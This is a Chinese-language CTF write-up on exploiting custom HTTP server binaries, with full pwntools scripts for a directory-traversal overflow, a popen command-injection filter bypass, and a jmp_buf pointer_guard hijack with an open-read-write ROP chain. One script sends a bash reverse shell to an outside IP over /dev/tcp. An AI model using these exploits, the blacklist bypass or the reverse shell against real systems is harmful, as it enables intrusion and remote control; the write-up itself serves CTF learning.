Web Pwn常见利用方式总结
字数 1064 2025-08-20 18:17:47

Web Pwn常见利用方式总结

目录穿越漏洞利用

漏洞原理

  • 当使用%[^ ]格式说明符时,如果变量类型为char且长度超过255,会导致溢出漏洞
  • 利用scandir函数扫描../目录可以访问上级目录中的文件

典型题目

NKCTF2024 httpd题目

利用方法

  1. 构造超长路径触发溢出
  2. 通过扫描../目录获取../flag.txt

EXP示例

from pwn import *
import sys

LOCAL = len(sys.argv) == 1
if LOCAL:
    p = process('./httpd')
else:
    p = remote(sys.argv[1], int(sys.argv[2]))

p.send(b'GET /.' + b'/'*256 + b'.. HTTP/1.0\r\n')
p.send(b'host: 0.0.0.10\r\n')
p.send(b'Content-length: 0\r\n')
p.recvuntil(b'./flag.txt:')
data = p.recvline(keepends=False)
from Crypto.Cipher import ARC4
print(ARC4.new(b'reverse').decrypt(data))
p.close()

基于popen函数的攻击

漏洞原理

  • popen函数可以执行shell命令
  • 当存在过滤不严时,可以绕过限制执行任意命令

典型题目

2024羊城杯vhttpd

过滤函数分析

_BOOL4 __cdecl whitelist(const char *a1)
{
    _BOOL4 result; // eax
    char needle[3]; // [esp+15h] [ebp-13h] BYREF
    char v3[4]; // [esp+18h] [ebp-10h] BYREF
    unsigned int v4; // [esp+1Ch] [ebp-Ch]

    v4 = __readgsdword(0x14u);
    strcpy(needle, "sh");
    strcpy(v3, "bin");
    if (strchr(a1, '&') || strchr(a1, '|') || strchr(a1, ';') || 
        strchr(a1, '$') || strchr(a1, '{') || strchr(a1, '}') || 
        strchr(a1, '`') || strstr(a1, needle))
    {
        result = 0;
    }
    else
    {
        result = strstr(a1, v3) == 0;
    }
    if (v4 != __readgsdword(0x14u))
        stack_fail_error();
    return result;
}

绕过方法

  • 使用"s"h拆分敏感字符串
  • 利用popen执行反弹shell

EXP示例

from pwn import *

context(os='linux', arch='amd64', log_level='debug')
p = process("/home/zp9080/PWN/httpd")
elf = ELF("/home/zp9080/PWN/httpd")
libc = elf.libc

host = '0.0.0.10'
request = 'GET /"s"h HTTP/1.0\r\n'
request += 'Host: ' + host + '\r\n'
request += 'Content-Length: 0\r\n'

p.sendline(request)
p.sendline('bash -c "bash -i >& /dev/tcp/172.18.211.41/7777 0>&1"')
p.interactive()

基于jmp_buf结构体的攻击

前置知识

jmp_buf结构体

  • 定义在setjmp.h头文件中
  • 用于保存调用环境(栈指针、指令指针和寄存器等)
  • setjmp()保存环境,longjmp()恢复环境

pointer_guard保护机制

  • 使用fs:[offsetof(tcbhead_t, pointer_guard)]作为key
  • 加密过程:rol(ptr ^ pointer_guard, 0x11, 64)
  • 解密过程:ror(enc, 0x11, 64) ^ pointer_guard

典型题目

DASCTF2024暑期挑战赛 vhttp

漏洞分析

  1. content-length可控导致栈溢出
  2. 覆盖jmp_buf结构体劫持控制流
  3. 需要泄露pointer_guard才能正确构造payload

利用步骤

  1. 第一次请求泄露pointer_guard
  2. 第二次请求构造ROP链实现ORW

EXP示例

from pwn import *

context(os='linux', arch='amd64', log_level='debug')
p = remote('node5.buuoj.cn', 28360)
elf = ELF("/home/zp9080/PWN/pwn")
libc = elf.libc

def circular_left_shift(value, shift):
    value &= 0xFFFFFFFFFFFFFFFF
    shifted_value = ((value << shift) & 0xFFFFFFFFFFFFFFFF) | (value >> (64 - shift))
    return shifted_value

def ptr_g(value, pg):
    val = value ^ pg
    return circular_left_shift(val, 0x11)

# 第一次请求泄露pointer_guard
header = b"GET / HTTP/1.1\r\n"
header += b"content-length:2848\r\n"
p.send(header)
p.send('\n')

payload = b'\r\n' + b"user=newbew" + cyclic(2848 - 13 - 7) + b'success'
p.send(payload)
p.recvuntil(b"success")
pointer_guard = u64(p.recv(8))
print("Pointer guard:", hex(pointer_guard))

# 第二次请求构造ROP
ret_addr = 0x000000000040101a
pop_rdi = 0x00000000004028f3
pop_rsi_r15 = 0x00000000004028f1
pop_rdx = 0x000000000040157d
buffer = 0x0405140
open_plt = 0x4013C0
read_plt = 0x401300
write_plt = 0x4012A0
flag_addr = 0x40338A

rop_payload = b"a"*(0x20 - 1) + b":"
rop_payload += p64(ret_addr)*0x4
rop_payload += p64(pop_rdi)
rop_payload += p64(flag_addr)
rop_payload += p64(pop_rsi_r15)
rop_payload += p64(0x0)
rop_payload += p64(0x0)
rop_payload += p64(open_plt)
rop_payload += p64(pop_rdi)
rop_payload += p64(0x3)
rop_payload += p64(pop_rsi_r15)
rop_payload += p64(buffer+0x100)
rop_payload += p64(0x0)
rop_payload += p64(pop_rdx)
rop_payload += p64(0x200)
rop_payload += p64(read_plt)
rop_payload += p64(pop_rdi)
rop_payload += p64(0x1)
rop_payload += p64(pop_rsi_r15)
rop_payload += p64(buffer+0x100)
rop_payload += p64(0x0)
rop_payload += p64(write_plt)
rop_payload += rop_payload.ljust(0x100, b"a")

payload = b"&pass=v3rdant".ljust(0x200, b'a')
regs = flat({
    0x8: ptr_g(buffer+0x28, pointer_guard),  # rbp
    0x30: ptr_g(buffer+0x28, pointer_guard), # rsp
    0x38: ptr_g(ret_addr, pointer_guard)     # rdx
})
payload += regs
payload = payload.ljust(2848 - 0x20, b'a')
payload += p64(buffer+0x400)*4

p.send(payload)
p.interactive()

调试技巧

多线程调试

  1. 使用info threads查看所有线程
  2. 使用thread (id)切换线程
  3. 在关键函数处设置断点

调试脚本示例

gdb_script = '''
b pthread_create
c
finish
thread 2
b *0x401EC2
c
b __pthread_cleanup_upto
c
'''

常见问题解决

段错误问题

  • 原因:覆盖了fs:[0x10]的值
  • 解决:保证fs:[0x10]指向可写地址

jmp_buf结构体控制

  • rdi指向jmp_buf结构体
  • r8 = [jmp_buf+0x30]
  • r9 = [jmp_buf+0x8]
  • rdx = [jmp_buf+0x38]
  • 最终执行:mov rsp,r8; mov rbp,r9; jmp rdx

总结

Web Pwn常见利用方式包括:

  1. 目录穿越漏洞
  2. 命令注入绕过
  3. 结构体劫持控制流
    关键点在于发现初始漏洞点,并利用程序特性构造有效payload。
Web Pwn常见利用方式总结 目录穿越漏洞利用 漏洞原理 当使用 %[^ ] 格式说明符时,如果变量类型为 char 且长度超过255,会导致溢出漏洞 利用 scandir 函数扫描 ../ 目录可以访问上级目录中的文件 典型题目 NKCTF2024 httpd题目 利用方法 构造超长路径触发溢出 通过扫描 ../ 目录获取 ../flag.txt EXP示例 基于popen函数的攻击 漏洞原理 popen 函数可以执行shell命令 当存在过滤不严时,可以绕过限制执行任意命令 典型题目 2024羊城杯vhttpd 过滤函数分析 绕过方法 使用 "s"h 拆分敏感字符串 利用 popen 执行反弹shell EXP示例 基于jmp_ buf结构体的攻击 前置知识 jmp_ buf结构体 定义在 setjmp.h 头文件中 用于保存调用环境(栈指针、指令指针和寄存器等) setjmp() 保存环境, longjmp() 恢复环境 pointer_ guard保护机制 使用 fs:[offsetof(tcbhead_t, pointer_guard)] 作为key 加密过程: rol(ptr ^ pointer_guard, 0x11, 64) 解密过程: ror(enc, 0x11, 64) ^ pointer_guard 典型题目 DASCTF2024暑期挑战赛 vhttp 漏洞分析 content-length 可控导致栈溢出 覆盖 jmp_buf 结构体劫持控制流 需要泄露 pointer_guard 才能正确构造payload 利用步骤 第一次请求泄露 pointer_guard 第二次请求构造ROP链实现ORW EXP示例 调试技巧 多线程调试 使用 info threads 查看所有线程 使用 thread (id) 切换线程 在关键函数处设置断点 调试脚本示例 常见问题解决 段错误问题 原因:覆盖了 fs:[0x10] 的值 解决:保证 fs:[0x10] 指向可写地址 jmp_ buf结构体控制 rdi 指向 jmp_buf 结构体 r8 = [jmp_buf+0x30] r9 = [jmp_buf+0x8] rdx = [jmp_buf+0x38] 最终执行: mov rsp,r8; mov rbp,r9; jmp rdx 总结 Web Pwn常见利用方式包括: 目录穿越漏洞 命令注入绕过 结构体劫持控制流 关键点在于发现初始漏洞点,并利用程序特性构造有效payload。